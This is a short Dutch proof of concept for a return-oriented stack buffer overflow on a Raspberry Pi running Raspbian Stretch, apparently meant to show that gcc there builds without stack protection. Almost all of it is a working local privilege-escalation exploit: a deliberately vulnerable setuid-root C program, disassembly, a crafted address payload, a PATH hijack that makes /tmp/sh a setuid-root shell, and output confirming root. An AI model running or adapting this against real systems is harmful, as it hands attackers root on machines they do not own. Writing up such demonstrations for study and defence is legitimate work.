Op de Raspberry PI compileert gcc een applicatie standaard zonder stack-beveiliging.

Merk op, dat de adressen per versie Raspbian kunnen variëren.
(test gedaan met 2019-04-08-raspbian-stretch-lite.img)
POC:

ropme.c ?
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
char buffer[24];
char command[]="/usr/bin/uptime";

system(command);

printf("ROP me : ");
fgets(buffer, 100, stdin);
}

pi@raspberrypi:~/overflow $ gcc ropme.c -o ropme
pi@raspberrypi:~/overflow $ sudo chown root:root ropme
pi@raspberrypi:~/overflow $ sudo chmod 4755 ropme

pi@raspberrypi:~/overflow $ objdump -d ropme
…..
104e8: e88c000f stm ip, {r0, r1, r2, r3}
104ec: e24b302c sub r3, fp, #44 ; 0x2c
104f0: e1a00003 mov r0, r3
104f4: ebffffa0 bl 1037c <system@plt>
104f8: e59f002c ldr r0, [pc, #44] ; 1052c <main+0x64>
104fc: ebffff95 bl 10358 <printf@plt>
10500: e59f3028 ldr r3, [pc, #40] ; 10530 <main+0x68>
10504: e5932000 ldr r2, [r3]
10508: e24b301c sub r3, fp, #28
…..
00010598 <_fini>:
10598: e92d4008 push {r3, lr}
1059c: e8bd8008 pop {r3, pc}

pi@raspberrypi:~/overflow $ objdump -s ropme
…..
Contents of section .rodata:
105a0 01000200 524f5020 6d65203a 20000000 ....ROP me : ...
105b0 2f757372 2f62696e 2f757074 696d6500 /usr/bin/uptime.
Contents of section .ARM.exidx:

pi@raspberrypi:~/overflow $ printf \
"1234567890123456789012345678\x9c\x05\x01\x00\xbc\x05\x01\x00\xf0\x04\x01\x00" >exploit

pi@raspberrypi:~/overflow $ PATH=/tmp:$PATH
pi@raspberrypi:~/overflow $ cp /bin/sh /tmp
pi@raspberrypi:~/overflow $ echo chown root:root /tmp/sh >/tmp/ime
pi@raspberrypi:~/overflow $ echo chmod 4755 /tmp/sh >>/tmp/ime
pi@raspberrypi:~/overflow $ chmod 755 /tmp/ime

pi@raspberrypi:~/overflow $ ./ropme < exploit
10:18:37 up 19 min, 1 user, load average: 0.00, 0.00, 0.00
Segmentation fault
pi@raspberrypi:~/overflow $ /tmp/sh
# id
uid=1000(pi) gid=1000(pi) euid=0(root) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
#